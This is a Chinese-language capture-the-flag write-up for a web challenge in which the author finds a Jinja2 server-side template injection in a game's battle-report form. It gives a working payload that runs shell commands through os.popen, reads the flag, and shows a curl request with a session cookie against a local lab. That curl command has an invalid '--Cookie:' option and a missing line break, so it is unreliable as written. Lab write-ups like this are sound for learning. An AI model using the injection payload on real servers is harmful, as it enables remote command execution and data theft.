web trial by fire write up

首先先進入網站。

image

這裡他會要我們輸入名字來開遊戲,所以我輸入個名字進去看看。

image
image

所以我嘗試玩玩一場看看。

image

結束後被導向到一個看起來就是一般的戰鬥結算數據的地方,看起來沒甚麼東西,所以我一樣去看原始碼。

index.html 完整原始碼
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>The Flame Peaks</title>
  <link rel="icon" type="image/png" href="/static/images/favicon.png" />
  <!-- Import NES.css from a CDN -->
  <link href="https://unpkg.com/nes.css@latest/css/nes.min.css" rel="stylesheet" />
  <!-- Import your custom styles AFTER NES.css -->
  <link rel="stylesheet" href="/static/css/style.css">
  <!-- Additional inline overrides for this page -->
</head>
<body>
  <div class="home-container nes-container is-rounded">
    <h1 class="nes-text is-error">Welcome to the Flame Peaks</h1>
    <p class="nes-text">
      In a land of burning rivers and searing heat, the Fire Drake stands guard over the Emberstone. Many have sought its power; none have prevailed.
      <br><br>
      Legends speak of ancient template scrolls—arcane writings that twist fate when exploited. Hidden symbols may change everything.
      <br><br>
      Can you read the runes? Perhaps {{ 7 * 7 }} is the key.
    </p>
    
    <form action="/begin" method="POST" class="warrior-form nes-container is-rounded">
      <div class="form-group">
        <label for="warrior_name" class="nes-text is-error">What is your name, brave warrior?</label>
        <input type="text" id="warrior_name" name="warrior_name" class="nes-input" required placeholder="Enter your name..." maxlength="30" style="background-color: rgba(17, 24, 39, 0.95);">
      </div>
      <button type="submit" class="nes-btn is-error challenge-button">
        ⚔️ Challenge the Fire Drake
      </button>
    </form>
  </div>
</body>
</html>

這裡只是一般的介面設定,只不過在裡面有一段長這樣:

<p class="nes-text">
      In a land of burning rivers and searing heat, the Fire Drake stands guard over the Emberstone. Many have sought its power; none have prevailed.
      <br><br>
      Legends speak of ancient template scrolls—arcane writings that twist fate when exploited. Hidden symbols may change everything.
      <br><br>
      Can you read the runes? Perhaps {{ 7 * 7 }} is the key.
</p>

敘述了一段故事,而重點在最後一句 {{7*7}} 是 key 這句話就讓我想到 SSTI,不過這裡直接在名字地方輸入 {{7*7}} 的結果是不會被渲染在畫面上的。

image

所以這裡可能不是主要的注入點,又或者這題不是 SSTI?不過有趣的是,用這個名字打完一場後,結算時長這樣:

image

唉呦,露出龍腳了。這裡反而出現了 49,或許這裡才是我們要注入的地方🤔?

所以我們或許可以利用這個結算畫面來套點東西,所以我們攔截這個結算畫面的 POST 請求。

image

這裡看起來沒有甚麼隨機亂數生成的值,所以我嘗試改成勝利的局面看看,這裡我改成造成對方傷害 300;受到傷害為 0。

image
image

果然得到獲勝的畫面,所以這可能代表說,伺服器完全吃了我們所輸入的東西還不過濾,因此我們可以隨便輸入東西進去,就例如我們的 Payload。

這裡我們到 Github 上可以找到相關的 payload。

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

image
image

會發現直接拿網頁的欄位去注入的話,會發現 ls 列出資料時,會出現 flag.txt

所以我嘗試去讀這個 flag 檔。

image

Ans:HTB{f4k3_fl4g_f0r_t3st1ng}

這裡我用過 pwd 後,是在 /app 底下,不過他這裡不讓我 cd 到其他地方抓東西看:skull:,所以 flag 八成是這個。

image

不過除了直接在欄位注入外,也可以用 curl 搞他。

curl payload 建立:

首先,因為我們這裡是 POST 請求,所以先設定我們的目標網站跟請求方式:

curl -X POST http://localhost:1337/battle-report 

接著放我們的 Header 給他:

-H "Content-Type: application/x-www-form-urlencoded"

而在我們要進入結算頁面的時候是需要帶著 Cookie session 的,所以我們直接放剛剛 Repeater 中抓到的值去跑:

--Cookie: session=eyJ3YXJyaW9yX25hbWUiOiJ7eyA3ICogNyB9fSJ9.aJ5Jpg.3qBzNAPoIsWqxvbu5ZJ_zhNpL8I

接著就是剛剛我們在結算頁面時出現的四個欄位,直接在第一欄位注入 payload,這裡用 --data-urlencode 是 curl 的選項,主要用在 POST 或 GET 請求裡,會幫忙把資料做 URL 編碼,避免特殊字元被斷掉或誤解析。

  --data-urlencode "damage_dealt={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}" `
  --data-urlencode "damage_taken=0" `
  --data-urlencode "spells_cast=0" `
  --data-urlencode "turns_survived=0" `
  --data-urlencode "outcome=defeat" `
  --data-urlencode "battle_duration=0"

全部結合起來:

curl -X POST http://localhost:1337/battle-report `
-H "Content-Type: application/x-www-form-urlencoded" `
--Cookie: session=eyJ3YXJyaW9yX25hbWUiOiJ7eyA3ICogNyB9fSJ9.aJ5Jpg.3qBzNAPoIsWqxvbu5ZJ_zhNpL8I
--data-urlencode "damage_dealt={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}" `
--data-urlencode "damage_taken=0" `
--data-urlencode "spells_cast=0" `
--data-urlencode "turns_survived=0" `
--data-urlencode "outcome=defeat" `
--data-urlencode "battle_duration=0"

image
image

發現 flag.txt,所以執行 cat ./flag.txt

image
image

Ans:HTB{f4k3_fl4g_f0r_t3st1ng}